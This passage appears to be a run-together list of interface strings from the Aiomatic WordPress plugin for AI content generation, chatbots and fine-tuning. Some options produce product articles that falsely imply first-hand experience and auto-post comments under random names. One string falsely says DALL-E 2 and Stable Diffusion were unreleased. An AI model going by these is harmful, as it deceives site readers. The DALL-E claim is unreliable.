each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.Enter the number of sections to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.Envato Purchase CodeError getting content: EsperantoEsperanto (Google Translate)EstimatedEstonianEstonian (Google Translate)EventsEweEwe (Google Translate)Example 10:Example 11:Example 2:Example 3:Example 4:Example 5:Example 6:Example 7:Example 8:Example 9:Example:Excepting This Comma Separated List Of Custom Post Types:ExcerptExcerpt PromptExcerpt Prompt:Excluded Word List (For Built-In Spinner Only):Existing Content EditorExisting Content Editor:External Cron JobExtra Features:FAQFAST_BLUEFAST_GREENFailedFailed to list voices!FashionFeaturedFeatured ImageFeatured Image Resize Height:Featured Image Resize Width:Featured Image Source:Featured Image Status:Feel free to join our Discord communityFeelingsField Type*File uploaded successfully you can view it in Datasets tab.File uploaded successfully you can view it in the form listing tab.File uploaded successfully.FilenameFilipinoFilipino (Google Translate)Filter Language: Filter results by image category.Filter results by image orientation.Filter results by image type.Fine-TuneFine-TuningFine-Tuning Settings:Fine-tune ModelFine-tunesFine-tuning in GPT-3 is the process of adjusting a specific AI model and its parameters to better suit a specific task. This can be done by providing GPT-3 with a data set that is tailored to the task you need. For example, if you want to create a chatbot which replies similar to questions similar to Rick, from "Rick and Morty", this feature is what you need.FinishFinnishFinnish (Google Translate)First List of Possible Sentences (%%random_sentence%%):First PageFirst up, we have the AI Assistant, your reliable companion in managing and optimizing your content. This intelligent assistant helps you with various tasks, from generating AI-powered meta tags to suggesting relevant keywords and optimizing your content for better search engine rankings. The AI Assistant is your virtual content strategist, guiding you every step of the way.Flagged Text Message:Flickr API Options:Flickr App ID: Font Size:FoodFor more information about the plugin, please visitForm Background Color:Form Button Color:Form Button Text Color:Form ID not found in the database!Form Input Fields Max Length:Form Input Fields Min Length:Form OptionsForm Text Color:Form draft updated.Form published.Form restored to revision from %sForm saved.Form scheduled for: %1$s.Form submitted.Form updated.FranceFrenchFrench (Google Translate)Frequency PenaltyFrequency Penalty:FrisianFrisian (Google Translate)Front End OptionsFull Access Users:Fully AI Generated TitlesGD LibraryGD Library:GPT3 ModalGalicianGalician (Google Translate)GalleryGeneral SettingsGeneral System Info:General TipsGenerate A SEO Meta DescriptionGenerate A SEO TitleGenerate ContentGenerate Short Description (Excerpt)Generate TagsGenerate TextGenerate Using AIGenerated Featured Image Size:Generated Image SizeGenerated Image Size:Generated Post FormatGenerated Post Format:Generating SEO meta description...Generating content...Generating short description (excerpt)...Generating tags...Generating title...GeorgianGeorgian (Google Translate)GermanGerman (Google Translate)GermanyGet WPML now!Getting started?Global Banned Words List:Global Prompt OptionsGlobal Required Words List:Google Images API Options:Google Text-to-SpeechGoogle Translator API Key (Optional)Google did not generate any audio for this textGreekGreek (Google Translate)GuaraniGuarani (Google Translate)GujaratiGujarati (Google Translate)HTMLHTML Text To Append To AI Created ContentHTML Text To Append To AI Created Content:HTML Text To Prepend To AI Created ContentHTML Text To Prepend To AI Created Content:Haitian CreoleHaitian Creole (Google Translate)HausaHausa (Google Translate)Having issues with the plugin? Please be sure to check out our knowledge-base before you contact our support!HawaianHawaian (Google Translate)Heading Image Location:Headphones or earbudsHealthHebrewHebrew (Google Translate)Hello, my name isHere are some options you have, to help create the data for fine-tuning (select the one that best fits your needs)Here you can also download your data or directly upload it to OpenAI for usage. Useful tip: to gather your data, start by collecting info about your website pages, content, and any ideas you have in your mind. Try to create a file, or several files, without any HTML formatting or other unnecessary elements. If you have access to ChatGPT, use it to generate a large number of questions and answers based on your content. Gather the data in a Google Sheet with the two columns, and make sure to review and perfect it. A dataset should have a minimum of 500 rows to offer useful results, and much more if you want to achieve better results. According to the OpenAI documentation, above 3,000 rows are recommended. But it ultimately depends on what you're trying to achieve. Be sure to select the base model for which you want to create a fine tune, from the 'Model Base' dropdown list, because you decide at this step for which model you want to create a fine tune with the uploaded data. Check OpenAI's recommendations for fine tuning,Here you will be able to automatically generate, using AI, the SEO meta fields for this image.Here, you can set up the conditions for automatic post editing:HideHide Tutorial VideoHigh Quality - PaidHighlightedHindiHindi (Google Translate)Hint: you can use the following shortcodes in this settings field: %%image_title%%, %%image_caption%%, %%image_alt%%, %%image_description%%, %%parent_title%%, %%parent_excerpt%%, %%parent_content%%, %%blog_title%%, %%random_sentence%%, %%random_sentence2%% + nested shortcodes also supported.Hit this button and all posts generated by this plugin will be deleted!Hit this button and the plugin settings will be restored to their default values. Warning! All settings will be lost!Hit this button and the plugin will create the default forms which come bundled with the plugin.Hit this button and you can backup the current forms to file.Hit this button and you can restore forms from file.HmongHmong (Google Translate)Home URLHome URL:Home entertainment system or smart TVHorizontalHow Many Times To Retry API Calls In Case Of API Failure:How long to wait before editing new posts: Set a delay for the editing process. This could be useful if you want to review the posts yourself before they are automatically edited.How strictly the diffusion process adheres to the prompt text (higher values keep your image closer to your prompt). Default value is 7.How to get started with AI Forms?How to use different features of the plugin? Like AI chatbot, AI content creator, AI Content Editor, AI Model Training, Embeddings, AI Forms and many more?HungarianHungarian (Google Translate)Hyper-paramsI am really excited to have you on board as a user!I am the developer of theI need to find highly relevant royalty-free images for an article heading, please extract a comma-separated list of the most relevant keywords from the heading, prioritizing specific references over general keywords. Add the highest priority to the most specific keyword that is still related to the main topic. By doing so, you can help me find more appropriate and targeted images for the article heading. The blog post heading title is: "%%post_title%%".I'll also dive into how Aiomatic can enhance your scraped or news posts, ensuring that your content is always fresh, relevant, and engaging. Say goodbye to boring, uninspired content, and hello to Aiomatic!IDID*INFO: Configure AI Writer Prompts in the "Taxonomy Description Writer" tab fromINFO: You can change the way the posts are edited by changing settings in the 'Editing Templates and Options' tab from above!INFO: You can change the way the posts are edited by changing settings in the 'Editing Templates and Options' tab from above! Also, be sure to save settings before running bulk post editing!IPIP: The IP address from which the request was made.IcelandicIcelandic (Google Translate)If enabled, the article will be written from a perspective that sometimes can make it sound like the writer has first-hand experience with the products.If enabled, the products will be shuffled, randomizing their order on each run.If you are looking for a quick way to customize the AI content writer and to teach it some info about your company, I suggest you check theIf you are looking for more complex way to customize the AI content writer and to be able to "teach" the AI a large set of information (by creating your own fine-tuned model), I suggest you check theIf you are using a LiteSpeed web server, you might need to configure it to allow longer execution times of Aiomatic.If you are using content editing which contain Chinese characters, you can try checking this checkbox.If you are using fine tuned models, it is recommended you add the completion suffix you used in your model training data, so the plugin can automatically add it to the completions. The default is: " ###". Don't use new lines for suffixes (\n) as currently they are not supported).If you are using fine tuned models, it is recommended you add the prompt suffix you used in your model training data, so the plugin can automatically add it to the prompts. The default is: " ->" (without the double quotes). Don't use new lines for suffixes (\n) as currently they are not supported).If you checked the above checkbox to disable processing of custom post types, you can define here a comma separated list of posts types which should still be process (excepted from skipping).If you encounter slowdowns or a even a full halt in your content creation workflow, the problem could potentially come from Cloudflare.If you need help getting started with Aiomatic, be sure to check outIf you notice any slowdown or failure in content generation, it could be due to issues with the OpenAI API services. Please wait until their services are back to normal before attempting again.If you selected a specific region in your Azure Microsoft account, you must enter it here. Learn more here. The default is global.If you set a post topic here, the titles you entered in the 'Post Title List' settings field will not be considered and titles will be auto generated based on this topic! Be sure to edit the 'Title Prompt' settings from below to change the way titles will be created! Enter a post topic list, one on each line. If you leave this field blank, the titles from entered in the 'Post Title List' settings field will be used. If you enter a value here, new titles will be created, based on this topic and the values from the 'Post Title List' will be overwritten. If you enter multiple topics (one per line), a random topic will be selected at each run. This will set the value of the %%topic%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.If you set a post topic list here, the titles you entered in the \'Post Title List\' settings field will not be considered and titles will be auto generated based on this topic! Be sure to edit the \'Title Prompt\' settings from below to change the way titles will be created! Enter a post topic list, one on each line. If you leave this field blank, the titles from entered in the 'Post Title List' settings field will be used. If you enter a value here, new titles will be created, based on this topic and the values from the 'Post Title List' will be overwritten. If you enter multiple topics (one per line), a random topic will be selected at each run. This will set the value of the %%topic%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.If you want to create long content (over 10000 words) in a single post and you are getting undesired results, you can check this checkbox for a fix.If you want to schedule the cron event manually in your server, to allow recurring editing of existing posts on your site, you should schedule this address:If you want to use SerpAPI to get the related headings for the created posts, you must add your API key here. By default, the plugin scrapes Bing Search for related queries. Get your API key here.If you want to use ValueSERP to get the related headings for the created posts, you must add your API key here. By default, the plugin scrapes Bing Search for related queries. Get your API key here.If you want to use a proxy to crawl webpages, and it requires authentification, input it's authentification details here. Required format: username:password. You can input a comma separated list of users/passwords. If a proxy does not have a user/password, please leave it blank in the list. Example: user1:pass1,user2:pass2,,user4:pass4.If you want to use a proxy to crawl webpages, input it's address here. Required format: IP Address/URL:port. You can input a comma separated list of proxies.If you want to use your own prompt completitions, and not use the defaults mentioned beforehand, be sure to add in the plugin's 'Main Settings' menu -> 'Suffix For Fine-Tuning Prompts' and 'Suffix For Fine-Tuning Completions' settings fields, the values of prompt and completitions suffixes you used in training (this is optional, the default values will be used otherwise).If you wish to use DeepL for translation, you must enter first a DeepL 'Authentication Key'. Get one here. If you enter a value here, new options will become available in the 'Automatically Translate Content To' and 'Source Language' fields.If you wish to use Microsoft for translation, you must enter first a Microsoft 'Access Key'. Learn how to get one here. If you enter a value here, new options will become available in the 'Automatically Translate Content To' and 'Source Language' fields.If you wish to use the official version of the Google Translator API for translation, you must enter first a Google API Key. Get one here. Please enable the 'Cloud Translation API' in Google Cloud Console. Translation will work even without even without entering an API key here, but in this case, an unofficial Google Translate API will be used.If you're a Cloudflare user and you are facing slowdowns in your content creation workflow, one potential remedy could be to extend the connection timeout on Cloudflare (if this is possible in your case). Another approach could be to deactivate CloudFlare while you are using the Aiomatic plugin on your site for long content creation (which uses multiple API requests).If you're looking to edit existing or newly published posts, Aiomatic also offers AI content editors and AI-generated featured images to help streamline the process. And with advanced features like AI model fine-tuning, AI embeddings, and usage statistics, you can take your content creation to the next level and produce high-quality, engaging posts in no time.If your issue is more technical, create a ticket and ask for support onIf your template supports "Post Formats", than you can select one here. If not, leave this at it's default value.If your template supports 'Post Formats', than you can select one here. If not, leave this at it's default value.IgboIgbo (Google Translate)IllustrationIlocanoIlocano (Google Translate)ImageImage Category: Image Generation Using DALL-E 2 and Stable DiffusionImage Generator OptionsImage Max Width: Image Min Height: Image Min Width: Image Model:Image Orientation: Image Types To Search:Image Types To Search: Image generation is a feature where the AI generates images based on prompts. You would typically enter a text prompt, and the AI would generate an image that represents that prompt. This could be used for a variety of creative purposes, such as generating artwork or visualizing concepts. Please note that as of my last update in September 2021, DALL-E 2 and Stable Diffusion were not released or announced, so I can't provide specific details about these technologies.Import Content or ExcerptImport Default FormsImport Forms From FileImporting is RunningImprove Royalty Free Featured Image Precision Using This Service:In ProgressIn WordPress, taxonomies are used to classify and organize content. They allow you to group posts, pages, or custom post types together based on shared characteristics. Taxonomies can be hierarchical (like categories) or non-hierarchical (like tags). When creating taxonomies in WP, it is important to set descriptions for SEO purposes.In addition to the powerful core features, Aiomatic has some hidden gems that will take your website to the next level. Let's explore these exciting features and see how they can supercharge your site.In case you want to get some inspiration on how to create your own forms or you want to get started really quick with using the AI Forms functionality of the plugin, you can go ahead and import the default forms which come bundled with this plugin. To do this, go to the 'AI Forms Importer/Exporter' tab and click the 'Import Default Forms' button.In the 'Advanced AI API Settings' tab, you can change advanced AI model settings, which will be used when editing content. This could include things like the complexity of the language used, the tone of the content, and more.In the 'Editing Templates and Options' tab, you can set how to edit posts. Here are the options:In the 'Manual Content Editing Settings' tab, you can set up the conditions for manual post editing. This is useful for editing existing posts. You can set detailed filters on what posts/pages/custom post types to automatically edit.In the Aiomatic settings page, navigate to the "AI Chatbot" menu of the plugin. You will be able to customize the chatbot in the 'Chatbot Customization', 'Chatbot Default Styling', 'Chatbot Settings' and 'Default API Parameters' tabs. Here, you can define how the chatbot will respond to specific user inputs. You can also change the visual style and appearance of the chatbot. Don't forget to always save your changes.In this case, the plugin will automatically add the defined prompt and completion suffixes, defined in the plugin's 'Main Settings' menu. The defaults are ' ->' (without the quotes) as the prompt suffix, ' ###' (without the quotes) as completion suffix and start completitions with a space (this is required by OpenAI).In this tutorial, I'll walk through the process of setting up an AI-powered chatbot on your WordPress website using the Aiomatic WordPress plugin. This plugin allows you to integrate AI language models to create a highly customizable chatbot that can interact with your website visitors.In this tutorial, we will walk you through each step of setting up and using this feature, from installation and activation of the plugin, to configuring automatic and manual editing settings, to defining your editing templates and options, and finally, to adjusting advanced AI API settings for the editing process. By the end of this guide, you'll be able to harness the power of AI to streamline your content creation process and enhance the quality of your posts. Let's get started!In this video, I'll take a closer look at how the latest update of Aiomatic works and what it can do for you. I'll explore how you can easily post AI-generated text to your social media channels, saving you time and effort while keeping your followers engaged.IndiaIndonesianIndonesian (Google Translate)IndustryInfoInfo:Inject Chatbot Globally Your Site:Input Border Color:Input Field CountInput FieldsInput a comma separated list of video captions prefered languages to use for the %%video_caption%% shortcode. Please use a comma separated list of 2 character language codes. Ex: en,es,hu,br. The plugin will use the fisrt language in the list that matches. If you leave this field blank, the default language caption will be imported for each video.Input a list of URLs that the plugin will use when submitting comments. One per line. Possible shortcode that can be used here: %%post_link%%, %%random_sentence%%, %%random_sentence2%%Input a list of e-mails that the plugin will use when submitting comments. One per line. If you leave this field empty, a random email will be generated. Possible shortcode that can be used here: %%random_sentence%%, %%random_sentence2%%Input a list of user names that the plugin will use when submitting comments. One per line. If you leave this field empty, a random name will be generated. Possible shortcode that can be used here: %%random_user%%, %%author_name%%, %%random_sentence%%, %%random_sentence2%%Input a secret wordInput a valid email adressInput request delayInput rule timeout in secondsInput the URL to be addedInput the email adress where you want to send the report. You can input more email addresses, separated by commas.Input the keyword to be replaced. This field is requiredInput the replacement wordInput the tags for which you want to disable editing. You can enter more tags, separated by comma. Ex: cars, vehicles, red, luxury. To disable this feature, leave this field blank.Input web proxy authInput web proxy urlInput your API key in the 'OpenAI / AiomaticAPI API Keys (One Per Line)' settings field and hit the Save button.Input your desired post titles (one per line), a TXT file with titles (one per line) or a RSS feed URL. The plugin will select a random post title at each run. Nested spintax supported. You can also enter RSS feed URLs, from where the plugin will extract a random post title, each time it runs. If you set a RSS feed URL, an item will be randomly selected from the title/description/content of the RSS feed contents - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Insert a comma separated list of links to valid images that will be set randomly for the featured image for the posts that do not have a valid image attached or if you disabled automatical featured image generator. You can also use image numeric IDs from images found in the Media Gallery. To disable this feature, leave this field blank. Spintax supported. You can also use the %%random_image[keyword]%% shortcode to automatically import a random image from Google Image Search with the Creative Commons filter applied. To get a related image, you can also use: %%random_image[%%post_title%%]%%Insert a custom HTML code that will replace the %%custom_html%% variable. This can be anything, even an Ad code.Insert a custom HTML code that will replace the %%custom_html2%% variable. This can be anything, even an Ad code.Insert some sentences from which you want to get one at random. You can also use variables defined below. %something ==> is a variable. Each sentence must be separated by a new line.Insert some variables you wish to be exchanged for different instances of one sentence. Please format this list as follows:
                    Variablename => Variables (seperated by semicolon)
                    Example:
                    adjective => clever;interesting;smart;huge;astonishing;unbelievable;nice;adorable;beautiful;elegant;fancy;glamorous;magnificent;helpful;awesome
                    Insert your API Keys (one per line). For OpenAI API, get your API key here. For AiomaticAPI, get your API key here. For Azure, get your API key here.Insert your Amazon Associate ID (Optional). Learn how to get one here. Also, you need to sign up for Amazon Affiliate program here. Please note that starting from 2019, Amazon requires your account to generate at least 1 sales in the last 30 days, before they allow access to the Amazon Product API. For details, please check this linkInsert your Azure OpenAI API endpoint. Get one in the Microsoft Azure Services panel.Insert your D-ID API Key. For D-ID API, get your API key here. This is used for the Chatbot text to video feature.Insert your ElevenLabs API Key. For ElevenLabs API, get your API key here. This is used for the Chatbot text to speech feature.Insert your Flickr App ID. Learn how to get an API key here. If you enter an API Key and an API Secret, you will enable search for images using the Flickr API.Insert your Google Text-to-Speech API Key. For Google API, get your API key here. This is used for the Chatbot text to speech feature.Insert your Pexels App ID. Learn how to get an API key here. If you enter an API Key and an API Secret, you will enable search for images using the Pexels API.Insert your Pinecone API Key. For Pinecone API, get your API key here.Insert your Pixabay App ID. Learn how to get one here. If you enter an API Key here, you will enable search for images using the Pixabay API.Insert your Stability.AI API Keys (one per line). For Stability.AI API, get your Stability.AI key here.Insert your TextRazor API Key. Learn how to get one here. This is used when extracting relevant keywords from longer texts. Adding an API key here can greatly improve royalty free image accuracy.Insert your YouTube API Key. Learn how to get one here. This is used when adding YouTube videos to your post content. You can also enter a comma separated list of multiple API keys. This is optional, the Related Videos feature will work also without an API key entered.Insert your password for the selected premium spinner service.Insert your user name on premium spinner service.InstalledInstruction for the AI editor, to edit post content. Please specify your instruction without adding the %%post_content%% shortcode, as the content will be automatically added at processing time. Nested shortcodes from other plugins also supported here. You can also use the following shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Instruction for the AI editor, to edit post excerpt. Please specify your instruction without adding the %%post_excerpt%% shortcode, as the excerpt will be automatically added at processing time. Nested shortcodes from other plugins also supported here. You can also use the following shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Instruction for the AI editor, to edit post title. Please specify your instruction without adding the %%post_title%% shortcode, as the content will be automatically added at processing time. Nested shortcodes from other plugins also supported here. You can also use the following shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Instructions to Send For the AI Editor (Content Editing):Instructions to Send For the AI Editor (Excerpt Editing):Instructions to Send For the AI Editor (Title Editing):Integration with 'Ultimate Membership Pro'Interactive Voice Response (IVR) systemInterestingness AscendantInterestingness DescendantInternal LinksInternal Links Keyword Extractor Settings:IrishIrish (Google Translate)Is CRON runningItalianItalian (Google Translate)ItalicItalyItem ID:Item Name:Item TypeItem Type:JapanJapaneseJapanese (Google Translate)JavaneseJavanese (Google Translate)Just download the plugin from CodeCanyon and install it to your site in a few seconds.K_DPMPP_2MK_DPMPP_2S_ANCESTRALK_DPM_2K_DPM_2_ANCESTRALK_EULERK_EULER_ANCESTRALK_HEUNK_LMSKannadaKannada (Google Translate)KazakhKazakh (Google Translate)Keyword Extractor Model (Optional):Keyword Extractor Prompt (Optional):Keyword ReplacerKhmerKhmer (Google Translate)KinyarwandaKinyarwanda (Google Translate)KonkaniKonkani (Google Translate)KoreanKorean (Google Translate)KrioKrio (Google Translate)Kronos Cron 10 MinuteKronos Cron Half HourKronos Cron Quarter HourKurdishKurdish (Google Translate)Kurdish - SoraniKurdish - Sorani (Google Translate)KyrgyzKyrgyz (Google Translate)Label*LanguageLanguage:LaoLao (Google Translate)Last PageLast Run: LatestLatest NewsLatinLatin (Google Translate)LatvianLatvian (Google Translate)Learn how to describe the purpose of the imageLearn moreLeave empty if the image is purely decorative.LeftLets say you would like to give your AI the ability to answer specific questions about your website content, company, product or anything else, but you don't want to go through the process of training your own AI model. In this case, the Embeddings feature is what you will need. Simply specify your statements in the Embeddings section of the plugin and they will be also sent to the AI content writer, when needed.Lets say you would like to train your AI to answer specific questions about your website content, company, product or anything else. You can achieve this by fine-tuning a model using your own data! Please note, this process requires a lot of effort. Preparing a high quality data is the key here. And you need to do a lot of testing to achieve best results!License Type:Limits & StatisticsLimits and Statistics Tutorial VideoLimits not availableLingalaLingala (Google Translate)LinkLink to AddList AI FormsList of Possible Variables:LithuanianLithuanian (Google Translate)Load From FileLoaded PHP ExtensionsLoading editor...Local Time: Log emptyLugandaLuganda (Google Translate)LuxembourgishLuxembourgish (Google Translate)MacedonianMacedonian (Google Translate)Main SettingsMain Switch:MaintenanceMaithiliMaithili (Google Translate)MalagasyMalagasy (Google Translate)MalayMalay (Google Translate)MalayalamMalayalam (Google Translate)MalteseMaltese (Google Translate)ManageManual Headings and Images ListManual LinksManual List Of HeadingsManual List Of Headings:Manual List Of ImagesManual List Of Images:Manual List Of URLs (One Per Line)Manual List Of URLs (One Per Line):Manually Run AI Editing For This PostManually Run Post Editing Now:MaoriMaori (Google Translate)MarathiMarathi (Google Translate)Match Also Partial Words:MaxMax #Max Guest Credits:Max Input Length (Characters):Max Number Of Products To IncludeMax Number Of Products To Include:Max Price in PenniesMax Price in Pennies:Max Token CountMax TokensMax User CreditsMax User Credits:Maximum Character Chunk Size To Send To The AI Editor (Optional):Maximum Continue Token Count To Use Per API RequestMaximum Continue Token Count To Use Per API Request:Maximum Credits For GuestsMaximum Credits For UsersMaximum Number Of Automatic Links To Add To The Post ContentMaximum Number Of Automatic Links To Add To The Post Content:Maximum Number Of Categories To Add To The Post:Maximum Number Of Comments To Add To The Post:Maximum Number Of Posts To Process:Maximum Number Of Related Headings to Add To The ContentMaximum Number Of Related Headings to Add To The Content:Maximum Number Of Related Images to Add To The ContentMaximum Number Of Related Images to Add To The Content:Maximum Number Of Tags To Add To The Post:Maximum Posts To Change:Maximum Prompt Token Count To Use Per API RequestMaximum Prompt Token Count To Use Per API Request:Maximum Replacement CountMaximum Result Token Count To Use Per API Request:Maximum Total Token Count To Use Per API RequestMaximum Total Token Count To Use Per API Request:Maximum execution timeMaximum image height.Maximum image width.Maximum number of categories to add. You can also use value ranges, like: 3-5. The default value is 1-2Maximum number of comments to add to the %%previous_comments%% shortcode, The default value is 5Maximum number of comments to add. You can also use value ranges, like: 3-5. The default value is 1-2Maximum number of tags to add. You can also use value ranges, like: 3-5. The default value is 1-2Maximum upload file sizeMaximum upload file size:Media Library ExtensionsMedia Library Extensions Tutorial Videos:MeiteilonMeiteilon (Google Translate)Menu OrderMenu nameMessage When Limit Reached (Logged In Users):Message When Limit Reached (Not Logged In Users):Message When Limit Reached (Rule Based Restrictions - Global):Meta Key Name:Meta Key Value:Meta ValueMeta Value NumberMexicoMicrosoft AzureMicrosoft Translator Access Key (Optional)Microsoft Translator Region Code (Optional)MinMin Price in PenniesMin Price in Pennies:Minimum image width.Mixed LinksMizoMizo (Google Translate)ModeMode: The mode in which the request was made.ModelModel BaseModel For Keyword Extraction For Royalty Free Images:Model SettingsModel:Model: The AI model used for the request.ModifiedModify Prompt For the AI Writer Using Internet Search Results:Modify the prompt for the AI writer, using the below template, adding also information extracted from the internet. You can use the following shortcodes: %%original_query%% (to add the original search query), %%current_date%% (to add the current date), %%web_results%% (to add the search query results).Modify the template of the %%web_results%% shortcode. You will be able to use the following shortcodes: %%result_counter%% (to add the index of the current result), %%result_title%% (to add the title of the current result), %%result_snippet%% (to add the snippet of the current result), %%result_link%% (to add the URL of the current result). The default value for this settings field is: [%%result_counter%%]: %%result_title%% %%result_snippet%% URL: %%result_link%%MongolianMongolian (Google Translate)MonthMonth Query:More DetailsMore FeaturesMore InfoMore OptionsMore Royalty Free Image Options:More SettingsMore Settings:More about EmbeddingsMore about fine tuningMore advanced and detailed system information.More details about Embeddings, check More details about Fine-Tuning, check More infoMore information aboutMore information about %sMove All Posts To TrashMusicMySQL Client encodingMySQL Detailed versionMySQL VersionMySQL Version:NONENatureNavigate to the 'API Keys' tab on the top of this admin page.Navigate to the 'Limits and Statistics' section of the Aiomatic plugin.Need help configuring this plugin? Please check out it's video tutorial.Need help?NepaliNepali (Google Translate)Nested Shortcodes also supported!NetherlandsNew Post Source NameNew Posts CreatedNew RuleNew! You can use the [aicontent]Your Prompt[/aicontent] shortcode in this or otherNewestArrivalsNextNext PageNext Run: NoNo ChangeNo Change - No New Posts CreatedNo Post Sources found.No Royalty Free Image Sources EnabledNo info.No known copyright restrictionsNo limitNo persistent chat messages found. You can enable this feature if you use the following shortcode to add a persistent AI chat to your page: [aiomatic-chat-form persistent="on"]No rules are running right nowNoneNorvegianNorwegianNorwegian (Google Translate)Not InstalledNot Subscribed UsersNot availableNote 1: Don't forget to secure your API key from OpenAI (don't share it with anyone).Note 2: If you're using Cloudflare, please read below.Note 3: If you're using the WP Rocket caching plugin, please deactivate and reactivate your caching plugin.Note 4: If your server has a timeout limit (max_execution_time server settings limited), you may not be able to generate longer content. Please request your hosting provider to extend the server timeout limit to at least 10-15 minutes to generate longer content.Note 5: If you're using iThemes security, please ensure to allow PHP calls from the plugin folder, otherwise, some features of the plugin might not work.Note: Adding the Azure OpenAI Deployments you created is no longer needed, as the plugin now is able to automatically detect deployments from your Azure account.Nothing to save!Notification Settings:Now go have some fun using the plugin!Now you are ready to get started seeing the plugin in action! You can hover your mouse over the Aiomatic menu in your WordPress dashboard. From there, you can choose to generate a single AI post or to create bulk automatic AI-created posts, complete with rich HTML content and royalty-free or AI-generated images. You can also edit existing or newly published posts, using an AI content editor. If you are an advanced user or you want to learn how to squize more out of the plugin and AI in general, check the Embeddings and Model Training features of the plugin. Finally, stop over to see the usage charts of the plugin and set limits for its API usage (if you feel that this is needed).NumberNumber Of Content Sections To GenerateNumber Of Content Sections To Generate:Number Of Paragraphs Per SectionNumber Of Paragraphs Per Section:Number Of Results To Query:Number Of Search Results To Add (In The %%web_results%% Shortcode):Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.Number of Images To Add To The ArticleNumber of Images To Add To The Article:Number of YouTube Videos To Add To The ArticleNumber of YouTube Videos To Add To The Article:Number of created sections:Number of diffusion steps to run. Default is 50.Number of paragraphs per section:ObjectOdiaOdia (Google Translate)OffOnce 10 minutesOnce 15 minutesOnce 30 minutesOnce A MinuteOnce MonthlyOnce WeeklyOnce a dayOnce a monthOnce a weekOnce an hourOnly the incidents which occured less than a week ago are displayed here.OpenAI / AiomaticAPIOpenAI StatusOpenAI's pricingOpenAI/AiomaticAPIOperating SystemOptimize The %%post_content%% Shortcode Using AI:OptionsOrder Results By:Order Results:Order results by a predefined rule.Organization IDOromoOromo (Google Translate)Other API Keys:Overwrite ExistingPHP Curl:PHP DateTime Class:PHP Max Input VarsPHP Max Input Vars (optional):PHP Max Upload SizePHP Memory Limit:PHP Post Max SizePHP Post Max Size:PHP Time LimitPHP Time Limit:PHP VersionPHP Version:PagePage ID:Page Name:PagesParagraphParentPashtoPashto (Google Translate)PendingPending -> ModeratePeoplePermanently Delete All PostsPersianPersian (Google Translate)Persistent Chat LogsPersistent Chat:Pexels API Options:Pexels App ID:PhotoPhoto License: Pinecone API Settings:Pinecone Index:Pinecone.ioPixabay API Options:Pixabay App ID:Pixabay Direct Scraping Options:PlacesPlain TextPlayer Max Height (Pixels):Player Max Width (Pixels):PlaygroundsPlease change rule settings, as your titles are all posted.Please check 'Activity and Logging' plugin menu for details.Please check below the available playgrounds to test the plugin's features:Please check some tips and tricks about writing prompt commands, here.Please enable curl PHP extension. Please contact your hosting provider's support to help you in this matter.Please enter a title idea/keywordPlease input your Envato purchase code, to enable automatic updates in the plugin. To get your purchase code, please follow this tutorial. Info submitted to the registration server consists of: purchase code, site URL, site name, admin email. All these data will be used strictly for registration purposes.Please insert image attribution text patternPlease insert image max widthPlease insert image min heightPlease insert image min widthPlease insert the desired height for AI generated imagesPlease insert the desired height for featured imagesPlease insert the desired width for AI generated imagesPlease insert the desired width for featured imagesPlease insert the first list of sentencesPlease insert the global banned words listPlease insert the global required words listPlease insert the keyword to be replacedPlease insert the keyword to replace the search keywordPlease insert the link to be added to the keywordPlease insert the list of variablesPlease insert the second list of sentencesPlease insert your D-ID API KeyPlease insert your ElevenLabs.io API KeyPlease insert your Flickr APP IDPlease insert your Google Text-to-Speech API KeyPlease insert your OpenAI/AiomaticAPI API KeyPlease insert your Pexels API keyPlease insert your Pinecone.io API KeyPlease insert your Pixabay API keyPlease insert your Stability.AI API KeyPlease insert your TextRazor API KeyPlease insert your YouTube API Key. You can also insert a list of comma separated API keys. The plugin will select one to user, each time when it runs, at random.Please insert your premium text spinner service passwordPlease insert your premium text spinner service user namePlease log in to your account to see usage info.Please note that you will also be able to use the shortcodes provided at the bottom of the forms which can be used in the AI Playground. These will add the same forms also to the front end of your site.Please note, I can not guarantee that the 